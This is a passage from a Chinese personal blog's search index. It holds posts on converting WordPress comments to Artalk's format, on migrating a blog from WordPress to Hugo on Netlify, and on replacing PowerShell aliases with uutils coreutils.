{ \u0026#34;id\u0026#34;: 123, // 评论 ID \u0026#34;post\u0026#34;: 2345, // 文章 ID，即代表 /archives/2345 的那篇文章 \u0026#34;parent\u0026#34;: 0, // 父评论 ID，0 代表没有父评论 \u0026#34;author\u0026#34;: 0, // 作者 ID，0 代表未登录用户 \u0026#34;author_name\u0026#34;: \u0026#34;AuthorName\u0026#34;, // 作者名 \u0026#34;author_email\u0026#34;: \u0026#34;author@example.com\u0026#34;, // 作者邮箱 \u0026#34;author_url\u0026#34;: \u0026#34;https:\\/\\/example.com\u0026#34;, // 作者网站 \u0026#34;author_ip\u0026#34;: \u0026#34;1.1.1.1\u0026#34;, // 发送 IP \u0026#34;author_user_agent\u0026#34;: \u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0\u0026#34;, // 发送者浏览器 UA \u0026#34;date\u0026#34;: \u0026#34;2000-00-00T00:00:00\u0026#34;, // 本地和 GMT 发送时间 \u0026#34;date_gmt\u0026#34;: \u0026#34;2000-00-00T00:00:00\u0026#34;, \u0026#34;content\u0026#34;: { \u0026#34;rendered\u0026#34;: \u0026#34;content\u0026#34;, // HTML 评论内容 \u0026#34;raw\u0026#34;: \u0026#34;\u0026#34; // 纯文字评论内容 }, \u0026#34;link\u0026#34;: \u0026#34;\u0026#34;, // 评论链接，指向对应文章的对应评论 \u0026#34;status\u0026#34;: \u0026#34;approved\u0026#34;, // 是否过审 \u0026#34;type\u0026#34;: \u0026#34;comment\u0026#34;, // 好像只有 comment \u0026#34;author_avatar_urls\u0026#34;: { // 三种尺寸的头像链接。很难想象 WordPress 会直接预存三种链接，虽然都是 Gravatar 的 \u0026#34;24\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;48\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;96\u0026#34;: \u0026#34;\u0026#34; }, \u0026#34;meta\u0026#34;: [], // 用于存放一些额外的 metadata \u0026#34;_links\u0026#34;: { // 相关 API endpoint \u0026#34;self\u0026#34;: [ { \u0026#34;href\u0026#34;: \u0026#34;https:\\/\\/example.com\\/wp-json\\/wp\\/v2\\/comments\\/123\u0026#34; } ], \u0026#34;collection\u0026#34;: [ { \u0026#34;href\u0026#34;: \u0026#34;https:\\/\\/example.com\\/wp-json\\/wp\\/v2\\/comments\u0026#34; } ], \u0026#34;children\u0026#34;: [ { \u0026#34;embeddable\u0026#34;: true, \u0026#34;href\u0026#34;: \u0026#34;https:\\/\\/example.com\\/wp-json\\/wp\\/v2\\/comments?parent=123\u0026#34; } ] } }, 详细解析见 WordPress REST API Handbook。\n要获取完整内容，需要在WordPress后台-用户-个人资料中生成一个“应用程序密码”（或使用 其他认证方式），然后在请求中加入对应的认证信息，并将 context 设为 edit。比如使用cURL：\nbash 复制代码 curl --user \u0026#34;username:password\u0026#34; -X GET https://example.com/wp-json/wp/v2/comments?context=edit 1 curl --user \u0026#34;username:password\u0026#34; -X GET https://example.com/wp-json/wp/v2/comments?context=edit 输出格式 作为一个Twikoo用户，为什么不输出为Twikoo JSON呢，是因为不想用吗？\n想啊，很想啊，但只有Artalk的 Artran 有现成的格式定义，而且数据定义也相对简单，起码比逆向Twikoo JSON简单得多。\njson 复制代码 { \u0026#34;id\u0026#34;: \u0026#34;123\u0026#34;, \u0026#34;rid\u0026#34;: \u0026#34;233\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;Hello Artalk\u0026#34;, \u0026#34;ua\u0026#34;: \u0026#34;Artalk/6.6\u0026#34;, \u0026#34;ip\u0026#34;: \u0026#34;233.233.233.233\u0026#34;, \u0026#34;created_at\u0026#34;: \u0026#34;2021-10-28 20:50:15 \u0026#43;0800 \u0026#43;0800\u0026#34;, \u0026#34;updated_at\u0026#34;: \u0026#34;2021-10-28 20:50:15 \u0026#43;0800 \u0026#43;0800\u0026#34;, \u0026#34;is_collapsed\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;is_pending\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;vote_up\u0026#34;: \u0026#34;666\u0026#34;, \u0026#34;vote_down\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;nick\u0026#34;: \u0026#34;qwqcode\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;qwqcode@github.com\u0026#34;, \u0026#34;link\u0026#34;: \u0026#34;https://qwqaq.com\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;badge_name\u0026#34;: \u0026#34;管理员\u0026#34;, \u0026#34;badge_color\u0026#34;: \u0026#34;#FF716D\u0026#34;, \u0026#34;page_key\u0026#34;: \u0026#34;https://artalk.js.org/guide/transfer.html\u0026#34;, \u0026#34;page_title\u0026#34;: \u0026#34;数据迁移\u0026#34;, \u0026#34;page_admin_only\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;site_name\u0026#34;: \u0026#34;Artalk\u0026#34;, \u0026#34;site_urls\u0026#34;: \u0026#34;http://localhost:3000/demo/,https://artalk.js.org\u0026#34; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 { \u0026#34;id\u0026#34;: \u0026#34;123\u0026#34;, \u0026#34;rid\u0026#34;: \u0026#34;233\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;Hello Artalk\u0026#34;, \u0026#34;ua\u0026#34;: \u0026#34;Artalk/6.6\u0026#34;, \u0026#34;ip\u0026#34;: \u0026#34;233.233.233.233\u0026#34;, \u0026#34;created_at\u0026#34;: \u0026#34;2021-10-28 20:50:15 +0800 +0800\u0026#34;, \u0026#34;updated_at\u0026#34;: \u0026#34;2021-10-28 20:50:15 +0800 +0800\u0026#34;, \u0026#34;is_collapsed\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;is_pending\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;vote_up\u0026#34;: \u0026#34;666\u0026#34;, \u0026#34;vote_down\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;nick\u0026#34;: \u0026#34;qwqcode\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;qwqcode@github.com\u0026#34;, \u0026#34;link\u0026#34;: \u0026#34;https://qwqaq.com\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;badge_name\u0026#34;: \u0026#34;管理员\u0026#34;, \u0026#34;badge_color\u0026#34;: \u0026#34;#FF716D\u0026#34;, \u0026#34;page_key\u0026#34;: \u0026#34;https://artalk.js.org/guide/transfer.html\u0026#34;, \u0026#34;page_title\u0026#34;: \u0026#34;数据迁移\u0026#34;, \u0026#34;page_admin_only\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;site_name\u0026#34;: \u0026#34;Artalk\u0026#34;, \u0026#34;site_urls\u0026#34;: \u0026#34;http://localhost:3000/demo/,https://artalk.js.org\u0026#34; } 文档示例，简单易懂，对吧？唯一需要解释的就是 rid，即父评论ID。在不存在父评论的时候，可以直接设为0。\n实际上只含有下面的这些字段的话，也能用：id、rid、content、ua、ip、is_collapsed、created_at、updated_at、nick、email、link、page_key。在不太复杂的情况下，page_key 可以仅写作 /guide/transfer.html。\n链接重定向 如果迁移前后的评论系统附属网站permalink的格式不一样，那么评论的 page_key 也要做相应的修改。个人迁移前后的博客站点暂时是同时开放的，而迁移后Hugo也可以方便地设立重定向页面。\n举个例子吧，假设原页面为old.example.com/archives/2345，对应新页面为new.example.com/post/new-post，则Hugo设立alias之后会在new.example.com/archives/2345生成一个重定向页面，内容为：\nhtml 复制代码 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;zh-cn\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;https://new.example.com/post/new-post/\u0026lt;/title\u0026gt; \u0026lt;link rel=\u0026#34;canonical\u0026#34; href=\u0026#34;https://new.example.com/post/new-post/\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;robots\u0026#34; content=\u0026#34;noindex\u0026#34;\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; \u0026lt;meta http-equiv=\u0026#34;refresh\u0026#34; content=\u0026#34;0; url=https://new.example.com/post/new-post/\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;/html\u0026gt; 1 2 3 4 5 6 7 8 9 10 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;zh-cn\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;https://new.example.com/post/new-post/\u0026lt;/title\u0026gt; \u0026lt;link rel=\u0026#34;canonical\u0026#34; href=\u0026#34;https://new.example.com/post/new-post/\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;robots\u0026#34; content=\u0026#34;noindex\u0026#34;\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; \u0026lt;meta http-equiv=\u0026#34;refresh\u0026#34; content=\u0026#34;0; url=https://new.example.com/post/new-post/\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;/html\u0026gt; 假设我们在之前的WordPress REST API中已经获取到旧WordPress网站中某条评论的 post 字段值为2345，那么只需要访问new.example.com/archives/2345，运用正则表达式提取refresh URL即可提取到新的 page_key，即 /post/new-post。\n代码实现 见 GitHub repo。\n后记 写完程序之后，我变成了一个Artalk用户。\n","date":"June 15, 2023","matchCount":0,"permalink":"/post/wp-comment-converter/","preview":"","title":"写一个 WordPress 评论转换工具"},{"content":" 迁移博客或许是每一个Blogger的宿命。\n动机 如你所见，这是一个Hugo站点。而在这个域名中，曾经运行着WordPress。\n你或许知道我的博客本来是WordPress的，而WordPress虽然大而全，但作为一个博客来说确实有点太重了。这倒不是“我可以不用你不能没有”的问题，而是不用就要关掉的问题，留着就会有各种漏洞，虽然网站没啥真正有价值的东西，但怪烦的。基于维护性和可移植性的优势，我早就想用静态网站生成器代替WP了（这个在两周年的文章中有提到），但苦于重定向做起来怪麻烦的，便一直拖着没有做。\n那为什么下定决心了呢？还是因为WordPress的可维护性。当初我将网站从Vultr迁到腾讯云，一部分也是因为承载的网站越来越多，天天干爆内存，然后每次 mariadbd 就会当炮灰被杀掉。腾讯云轻量香港确实爽，2G RAM随便造……了一年。就在前两天，这个现象又出现了。很快，服务器的硬盘也不知道怎么回事就满了（不是swap的锅），这次死的又是 mariadbd。\n之所以迁移起来困难，一直没干，一方面是因为目录结构不同，需要逐个手动重定向；而另一方面是WordPress上还有很多条评论，我不想丢掉。和这两者比起来，把文章扒下来转成Markdown反而成了相对容易的工作。\n托管、生成器和主题 虽然静态网站可以直接用Caddy去serve，但本着 “用自己的不如用别人的” 尽量减少故障的原则，选择一般人使用的第三方托管方案，而这意味着又要经历常见的服务商选择问题了。老实说，Netlify、Vercel和GitHub Pages用户群都挺多，体验也都不错；微软的新服务Azure Static Web App也还可以，甚至有香港数据中心，但它是依托GitHub Actions的，build起来有点慢，最重要的原因是Azure那令人发指的控制台。看起来Netlify在中国大陆的速度比Vercel快一点，又没有GH Pages被墙得那么多，试了试几种网络环境发现没有什么访问问题，所以就选了Netlify。\n没有选择Azure还有一个重要的原因。头抬起，这是Azure的控制面板，可看到为粗糙的边缘，请坐和放宽：\n至于网站生成器的选择，老实说，考虑到我稀烂的前端水平，我的选择有点跟着主题走，顶多对主题进行一点魔改。做出这个决定时，有hexo-theme-icarus和hugo-theme-stack两个选择摆在我面前，最终因为我对Go的喜爱（以及前者带有jQuery）而选择了后者。\n加载首页只需要200KB出头，相比之前去掉图片还有2MB，很香啊！还能细粒度控制KaTeX加载，这么久终于体会到了抠流量的快感（误）。\nHugo的主题有一个好，就是不用学PHP就可以魔改，我 大概可能也许 有能力按照自己的需求改一改 吧。\n当前进度：\n选择托管平台：Netlify 选择生成器：Hugo 选择主题：hugo-theme-stack 魔改主题 文章 Markdown导出WordPress文章这件事，有人做过解决方案了，导出的Markdown有front matter，看起来交给Hugo基本没有什么阻碍。但是实际操作起来坑还是很多的，光是把文章导出再导入，就花了我三天时间 （一边摸鱼）。\n其一是图片的存储必须要整个移走，之前WordPress历经了三种存储图片方式，分别是WordPress自带图片存储、Cloudreve + OneDrive存储，最后是阿里云对象存储。自己铲屎山的时候才意识到，这三种方式实质上混杂在文章之中，而且由于WordPress问题，内部图片也是通过指向网站的链接管理的，也就是说WordPress存储的图片还要分IP+端口、域名+端口和域名访问。一不做二不休，干脆直接换个存储桶吧，路径正好也跟页面的slug对应，折腾起来也会容易很多。顺便推荐一波Cyberduck，比阿里的OSS Browser好用多了。\n其二是各种复杂样式问题，包括但不限于分栏、复杂表格等，不可否认用WordPress的可视化编辑器确实很方便，但如文字颜色等属性是基于自定义CSS class实现的，\n当前进度：\n导出WordPress文章 导入文章 设定分类 设定标签 i18n 友链 评论 评论是博客重要的内容，我的计划是写个小工具，从WordPress的REST API导出评论，然后导入第三方评论工具。这个事情会在所有文章都搬过来之后去做。\n基于上面好线路服务器资源紧缺的现状，我挑选评论系统时将资源消耗放在了较重要的地位，也就自然盯上了无Node.js后端的Commento和Remark42。然而前者需要PostgreSQL，后者文档不太明白不说，还需要额外的注册登录才能评论，这与之前填入基本信息即可评论的初衷不符，于是转向了Twikoo。其使用Docker自行搭建的情况下，仅占用了70MB内存，文章详情页也仅需多加载150KB左右，算下来还是比较节省资源的。\n果然，用的人多是有原因的……\n当然也不是用的人少就一定不好用，毕竟我最后还是反复横跳到了Artalk。可选的多站点支持，50KB额外开销，Go后端，完善的文档……该给的确实都给了。折腾这么多，现在应该能安心了吧。\n如果你对我做的转换工具感兴趣，可以查看下方链接。\n当前进度：\n部署新评论系统：Artalk 写转换工具：https://github.com/cyp0633/WP2Artran 导出，再导入 重定向 把评论都搬过来后，WordPress站点基本就没有值得留意的东西了，这个时候就可以把WordPress的permalink重定向到Hugo来了。\n最后发现RSS倒是做了重定向，但是某些固定页面没做，就直接把DNS改了。之前那些页面就寄掉了。还好筛选过，也没有太大损失。\n当前进度：\n设置文章重定向：Hugo aliases已经做好了 设置RSS、友链等固定链接重定向 后记 熟悉Netlify的读者应该知道，同一个站点可以分配多个domain。在上面的一切都做完之后，我将新博客放在了 \u0026lt;next.cyp0633.icu\u0026gt;，让它跟旧博客共存了一段时间。再确认运行正常之后，我将 \u0026lt;cyp0633.icu\u0026gt; 也指向了新博客，就此宣告了旧站的结局。然而Google搜索认为 \u0026lt;next.cyp0633.icu\u0026gt; 是规范网址，换言之不再索引 \u0026lt;cyp0633.icu\u0026gt;。可以在 netlify.toml 中添加如下的重定向规则，以直接将 \u0026lt;next.cyp0633.icu\u0026gt; 重定向到 \u0026lt;cyp0633.icu\u0026gt;：\ntoml 复制代码 [[redirects]] from = \u0026#34;https://next.cyp0633.icu/*\u0026#34; to = \u0026#34;https://cyp0633.icu/:splat\u0026#34; status = 301 force = true 1 2 3 4 5 [[redirects]] from = \u0026#34;https://next.cyp0633.icu/*\u0026#34; to = \u0026#34;https://cyp0633.icu/:splat\u0026#34; status = 301 force = true ","date":"June 10, 2023","matchCount":0,"permalink":"/post/escape-from-wordpress/","preview":"","title":"逃离 WordPress"},{"content":"更新：适用于Linux的Windows子系统（WSL2）已更新 2.0 版本，一定程度上解决了之前占用端口等弊病。再加上之前更新的许多实用功能，个人已经使用WSL2的zsh基本代替了Windows下的PowerShell，故本文的意义不再像以前那么大。\nuutils是一个用Rust重写的GNU Coreutils，也就是Linux上的 cp、mv、touch 等程序的一个实现。虽然在Windows的PowerShell中执行这些命令也能得到类似于Linux的结果，但实际上是一个PowerShell内置cmdlet的alias，在某些情况下的兼容性并不是那么好。本文探索一种用uutils的命令替代PowerShell内置cmdlet的方法，以让Windows的命令行体验更加Unix化（虽然还是没那么Unix就是了）。\nuutils/coreutils\n安装uutils 可以使用预编译的二进制安装，也可以使用源代码编译安装。由于后面添加自动补全还需要源代码，所以我选择后者。\n如果不需要shell自动补全，那么可以直接从上面GitHub仓库的releases下载对应的压缩包（coreutils-version-x86_64-pc-windows-{msvc|gnu}.zip），将解压后的coreutils.exe放在任何一个PATH下的目录下即可。至于如何添加PATH，此处不再赘述，很容易搜到。\n默认编译或下载到的是multi-call binary，即调用方式为 coreutils.exe \u0026lt;command\u0026gt;，本文也按照这个情况书写。也可以编译为分离的二进制文件，具体请参考上面的GitHub Readme。\n编译源代码需要先 安装 Rust 工具链，未安装的请移步教程。\n在你认为合适的位置，使用以下命令将其安装到Rust存放二进制文件的地方：\npowershell 复制代码 git clone https://github.com/uutils/coreutils cd coreutils cargo install --path . --features windows 1 2 3 git clone https://github.com/uutils/coreutils cd coreutils cargo install --path . --features windows 编译出的二进制文件一般在 %HomePath%/.cargo/bin里面，应该是默认添加到PATH的。安装完成后可以开一个新的PowerShell，运行 coreutils 以验证是否安装完成。\n为PowerShell添加自动补全 自动补全的主要用处大概是输入参数的时候能够按tab补全，如 ls --di 按下tab可以补全为 ls --directory。\n有点类似于Bash的. bashrc初始化脚本，PowerShell的自定义设置由profile管理。用户profile的路径内置于PowerShell的 $profile环境变量，可以直接在PowerShell中运行 notepad $profile 来编辑。\n但自动补全文本量很大，可以将每个命令的补全各自写入一个文件，然后在profile中引用。对于把补全文件放在同一个文件夹内的情况，可以在profile中添加以下内容：\npowershell 复制代码 $completionsPath = \u0026#34;C:\\path\\to\\completions\u0026#34; # Replace with the path to your completions directory # Get all completion script files in the specified directory $completionScripts = Get-ChildItem -Path $completionsPath -Filter \u0026#34;*.ps1\u0026#34; -File # Load each completion script foreach ($script in $completionScripts) { . $script.FullName } 1 2 3 4 5 6 7 8 9 $completionsPath = \u0026#34;C:\\path\\to\\completions\u0026#34; # Replace with the path to your completions directory # Get all completion script files in the specified directory $completionScripts = Get-ChildItem -Path $completionsPath -Filter \u0026#34;*.ps1\u0026#34; -File # Load each completion script foreach ($script in $completionScripts) { . $script.FullName } 这样就可以加载C:\\path\\to\\completions（自己定义）里的补全预设了。\n然后回到coreutils的源代码文件夹中，用PowerShell执行以下命令：\npowershell 复制代码 foreach($cmd in\u0026#39;b2sum\u0026#39;,\u0026#39;b3sum\u0026#39;,\u0026#39;base32\u0026#39;,\u0026#39;base64\u0026#39;,\u0026#39;basename\u0026#39;,\u0026#39;basenc\u0026#39;,\u0026#39;cat\u0026#39;,\u0026#39;cksum\u0026#39;,\u0026#39;comm\u0026#39;,\u0026#39;cp\u0026#39;,\u0026#39;csplit\u0026#39;,\u0026#39;cut\u0026#39;,\u0026#39;date\u0026#39;,\u0026#39;dd\u0026#39;,\u0026#39;df\u0026#39;,\u0026#39;dir\u0026#39;,\u0026#39;dircolors\u0026#39;,\u0026#39;dirname\u0026#39;,\u0026#39;du\u0026#39;,\u0026#39;echo\u0026#39;,\u0026#39;env\u0026#39;,\u0026#39;expand\u0026#39;,\u0026#39;expr\u0026#39;,\u0026#39;factor\u0026#39;,\u0026#39;false\u0026#39;,\u0026#39;fmt\u0026#39;,\u0026#39;fold\u0026#39;,\u0026#39;hashsum\u0026#39;,\u0026#39;head\u0026#39;,\u0026#39;join\u0026#39;,\u0026#39;link\u0026#39;,\u0026#39;ln\u0026#39;,\u0026#39;ls\u0026#39;,\u0026#39;md5sum\u0026#39;,\u0026#39;mkdir\u0026#39;,\u0026#39;mktemp\u0026#39;,\u0026#39;more\u0026#39;,\u0026#39;mv\u0026#39;,\u0026#39;nl\u0026#39;,\u0026#39;numfmt\u0026#39;,\u0026#39;od\u0026#39;,\u0026#39;paste\u0026#39;,\u0026#39;pr\u0026#39;,\u0026#39;printenv\u0026#39;,\u0026#39;printf\u0026#39;,\u0026#39;ptx\u0026#39;,\u0026#39;pwd\u0026#39;,\u0026#39;readlink\u0026#39;,\u0026#39;realpath\u0026#39;,\u0026#39;relpath\u0026#39;,\u0026#39;rm\u0026#39;,\u0026#39;rmdir\u0026#39;,\u0026#39;seq\u0026#39;,\u0026#39;sha1sum\u0026#39;,\u0026#39;sha224sum\u0026#39;,\u0026#39;sha256sum\u0026#39;,\u0026#39;sha3-224sum\u0026#39;,\u0026#39;sha3-256sum\u0026#39;,\u0026#39;sha3-384sum\u0026#39;,\u0026#39;sha3-512sum\u0026#39;,\u0026#39;sha384sum\u0026#39;,\u0026#39;sha3sum\u0026#39;,\u0026#39;sha512sum\u0026#39;,\u0026#39;shake128sum\u0026#39;,\u0026#39;shake256sum\u0026#39;,\u0026#39;shred\u0026#39;,\u0026#39;shuf\u0026#39;,\u0026#39;sleep\u0026#39;,\u0026#39;sort\u0026#39;,\u0026#39;split\u0026#39;,\u0026#39;sum\u0026#39;,\u0026#39;tac\u0026#39;,\u0026#39;tail\u0026#39;,\u0026#39;tee\u0026#39;,\u0026#39;test\u0026#39;,\u0026#39;touch\u0026#39;,\u0026#39;tr\u0026#39;,\u0026#39;true\u0026#39;,\u0026#39;truncate\u0026#39;,\u0026#39;tsort\u0026#39;,\u0026#39;unexpand\u0026#39;,\u0026#39;uniq\u0026#39;,\u0026#39;unlink\u0026#39;,\u0026#39;vdir\u0026#39;,\u0026#39;wc\u0026#39;,\u0026#39;yes\u0026#39;) { cargo run completion $cmd powershell \u0026gt; \u0026#34;C:\\path\\to\\completions\\$cmd.ps1\u0026#34; } 1 2 3 foreach($cmd in\u0026#39;b2sum\u0026#39;,\u0026#39;b3sum\u0026#39;,\u0026#39;base32\u0026#39;,\u0026#39;base64\u0026#39;,\u0026#39;basename\u0026#39;,\u0026#39;basenc\u0026#39;,\u0026#39;cat\u0026#39;,\u0026#39;cksum\u0026#39;,\u0026#39;comm\u0026#39;,\u0026#39;cp\u0026#39;,\u0026#39;csplit\u0026#39;,\u0026#39;cut\u0026#39;,\u0026#39;date\u0026#39;,\u0026#39;dd\u0026#39;,\u0026#39;df\u0026#39;,\u0026#39;dir\u0026#39;,\u0026#39;dircolors\u0026#39;,\u0026#39;dirname\u0026#39;,\u0026#39;du\u0026#39;,\u0026#39;echo\u0026#39;,\u0026#39;env\u0026#39;,\u0026#39;expand\u0026#39;,\u0026#39;expr\u0026#39;,\u0026#39;factor\u0026#39;,\u0026#39;false\u0026#39;,\u0026#39;fmt\u0026#39;,\u0026#39;fold\u0026#39;,\u0026#39;hashsum\u0026#39;,\u0026#39;head\u0026#39;,\u0026#39;join\u0026#39;,\u0026#39;link\u0026#39;,\u0026#39;ln\u0026#39;,\u0026#39;ls\u0026#39;,\u0026#39;md5sum\u0026#39;,\u0026#39;mkdir\u0026#39;,\u0026#39;mktemp\u0026#39;,\u0026#39;more\u0026#39;,\u0026#39;mv\u0026#39;,\u0026#39;nl\u0026#39;,\u0026#39;numfmt\u0026#39;,\u0026#39;od\u0026#39;,\u0026#39;paste\u0026#39;,\u0026#39;pr\u0026#39;,\u0026#39;printenv\u0026#39;,\u0026#39;printf\u0026#39;,\u0026#39;ptx\u0026#39;,\u0026#39;pwd\u0026#39;,\u0026#39;readlink\u0026#39;,\u0026#39;realpath\u0026#39;,\u0026#39;relpath\u0026#39;,\u0026#39;rm\u0026#39;,\u0026#39;rmdir\u0026#39;,\u0026#39;seq\u0026#39;,\u0026#39;sha1sum\u0026#39;,\u0026#39;sha224sum\u0026#39;,\u0026#39;sha256sum\u0026#39;,\u0026#39;sha3-224sum\u0026#39;,\u0026#39;sha3-256sum\u0026#39;,\u0026#39;sha3-384sum\u0026#39;,\u0026#39;sha3-512sum\u0026#39;,\u0026#39;sha384sum\u0026#39;,\u0026#39;sha3sum\u0026#39;,\u0026#39;sha512sum\u0026#39;,\u0026#39;shake128sum\u0026#39;,\u0026#39;shake256sum\u0026#39;,\u0026#39;shred\u0026#39;,\u0026#39;shuf\u0026#39;,\u0026#39;sleep\u0026#39;,\u0026#39;sort\u0026#39;,\u0026#39;split\u0026#39;,\u0026#39;sum\u0026#39;,\u0026#39;tac\u0026#39;,\u0026#39;tail\u0026#39;,\u0026#39;tee\u0026#39;,\u0026#39;test\u0026#39;,\u0026#39;touch\u0026#39;,\u0026#39;tr\u0026#39;,\u0026#39;true\u0026#39;,\u0026#39;truncate\u0026#39;,\u0026#39;tsort\u0026#39;,\u0026#39;unexpand\u0026#39;,\u0026#39;uniq\u0026#39;,\u0026#39;unlink\u0026#39;,\u0026#39;vdir\u0026#39;,\u0026#39;wc\u0026#39;,\u0026#39;yes\u0026#39;) { cargo run completion $cmd powershell \u0026gt; \u0026#34;C:\\path\\to\\completions\\$cmd.ps1\u0026#34; } 这样就可以把自动补全输出到你自定义的补全预设目录（还是别忘了替换路径）。\n取代PowerShell自带cmdlet alias 现在每次都要先输一个 coreutils 命令才能调用，既不方便也没法用自动补全，干脆直接把命令映射过来。\n直接 Set-Alias 是不成功的，因为PowerShell自带alias。在profile中再添加以下内容：\npowershell 复制代码 foreach($cmd in\u0026#39;b2sum\u0026#39;,\u0026#39;b3sum\u0026#39;,\u0026#39;base32\u0026#39;,\u0026#39;base64\u0026#39;,\u0026#39;basename\u0026#39;,\u0026#39;basenc\u0026#39;,\u0026#39;cat\u0026#39;,\u0026#39;cksum\u0026#39;,\u0026#39;comm\u0026#39;,\u0026#39;cp\u0026#39;,\u0026#39;csplit\u0026#39;,\u0026#39;cut\u0026#39;,\u0026#39;date\u0026#39;,\u0026#39;dd\u0026#39;,\u0026#39;df\u0026#39;,\u0026#39;dir\u0026#39;,\u0026#39;dircolors\u0026#39;,\u0026#39;dirname\u0026#39;,\u0026#39;du\u0026#39;,\u0026#39;echo\u0026#39;,\u0026#39;env\u0026#39;,\u0026#39;expand\u0026#39;,\u0026#39;expr\u0026#39;,\u0026#39;factor\u0026#39;,\u0026#39;false\u0026#39;,\u0026#39;fmt\u0026#39;,\u0026#39;fold\u0026#39;,\u0026#39;hashsum\u0026#39;,\u0026#39;head\u0026#39;,\u0026#39;join\u0026#39;,\u0026#39;link\u0026#39;,\u0026#39;ln\u0026#39;,\u0026#39;ls\u0026#39;,\u0026#39;md5sum\u0026#39;,\u0026#39;mkdir\u0026#39;,\u0026#39;mktemp\u0026#39;,\u0026#39;more\u0026#39;,\u0026#39;mv\u0026#39;,\u0026#39;nl\u0026#39;,\u0026#39;numfmt\u0026#39;,\u0026#39;od\u0026#39;,\u0026#39;paste\u0026#39;,\u0026#39;pr\u0026#39;,\u0026#39;printenv\u0026#39;,\u0026#39;printf\u0026#39;,\u0026#39;ptx\u0026#39;,\u0026#39;pwd\u0026#39;,\u0026#39;readlink\u0026#39;,\u0026#39;realpath\u0026#39;,\u0026#39;relpath\u0026#39;,\u0026#39;rm\u0026#39;,\u0026#39;rmdir\u0026#39;,\u0026#39;seq\u0026#39;,\u0026#39;sha1sum\u0026#39;,\u0026#39;sha224sum\u0026#39;,\u0026#39;sha256sum\u0026#39;,\u0026#39;sha3-224sum\u0026#39;,\u0026#39;sha3-256sum\u0026#39;,\u0026#39;sha3-384sum\u0026#39;,\u0026#39;sha3-512sum\u0026#39;,\u0026#39;sha384sum\u0026#39;,\u0026#39;sha3sum\u0026#39;,\u0026#39;sha512sum\u0026#39;,\u0026#39;shake128sum\u0026#39;,\u0026#39;shake256sum\u0026#39;,\u0026#39;shred\u0026#39;,\u0026#39;shuf\u0026#39;,\u0026#39;split\u0026#39;,\u0026#39;sum\u0026#39;,\u0026#39;tac\u0026#39;,\u0026#39;tail\u0026#39;,\u0026#39;test\u0026#39;,\u0026#39;touch\u0026#39;,\u0026#39;tr\u0026#39;,\u0026#39;true\u0026#39;,\u0026#39;truncate\u0026#39;,\u0026#39;tsort\u0026#39;,\u0026#39;unexpand\u0026#39;,\u0026#39;uniq\u0026#39;,\u0026#39;unlink\u0026#39;,\u0026#39;vdir\u0026#39;,\u0026#39;wc\u0026#39;,\u0026#39;yes\u0026#39;) { Remove-Alias $cmd -ErrorAction SilentlyContinue Set-Item function:$cmd -Value {coreutils $cmd $args}.GetNewClosure() } 1 2 3 4 foreach($cmd in\u0026#39;b2sum\u0026#39;,\u0026#39;b3sum\u0026#39;,\u0026#39;base32\u0026#39;,\u0026#39;base64\u0026#39;,\u0026#39;basename\u0026#39;,\u0026#39;basenc\u0026#39;,\u0026#39;cat\u0026#39;,\u0026#39;cksum\u0026#39;,\u0026#39;comm\u0026#39;,\u0026#39;cp\u0026#39;,\u0026#39;csplit\u0026#39;,\u0026#39;cut\u0026#39;,\u0026#39;date\u0026#39;,\u0026#39;dd\u0026#39;,\u0026#39;df\u0026#39;,\u0026#39;dir\u0026#39;,\u0026#39;dircolors\u0026#39;,\u0026#39;dirname\u0026#39;,\u0026#39;du\u0026#39;,\u0026#39;echo\u0026#39;,\u0026#39;env\u0026#39;,\u0026#39;expand\u0026#39;,\u0026#39;expr\u0026#39;,\u0026#39;factor\u0026#39;,\u0026#39;false\u0026#39;,\u0026#39;fmt\u0026#39;,\u0026#39;fold\u0026#39;,\u0026#39;hashsum\u0026#39;,\u0026#39;head\u0026#39;,\u0026#39;join\u0026#39;,\u0026#39;link\u0026#39;,\u0026#39;ln\u0026#39;,\u0026#39;ls\u0026#39;,\u0026#39;md5sum\u0026#39;,\u0026#39;mkdir\u0026#39;,\u0026#39;mktemp\u0026#39;,\u0026#39;more\u0026#39;,\u0026#39;mv\u0026#39;,\u0026#39;nl\u0026#39;,\u0026#39;numfmt\u0026#39;,\u0026#39;od\u0026#39;,\u0026#39;paste\u0026#39;,\u0026#39;pr\u0026#39;,\u0026#39;printenv\u0026#39;,\u0026#39;printf\u0026#39;,\u0026#39;ptx\u0026#39;,\u0026#39;pwd\u0026#39;,\u0026#39;readlink\u0026#39;,\u0026#39;realpath\u0026#39;,\u0026#39;relpath\u0026#39;,\u0026#39;rm\u0026#39;,\u0026#39;rmdir\u0026#39;,\u0026#39;seq\u0026#39;,\u0026#39;sha1sum\u0026#39;,\u0026#39;sha224sum\u0026#39;,\u0026#39;sha256sum\u0026#39;,\u0026#39;sha3-224sum\u0026#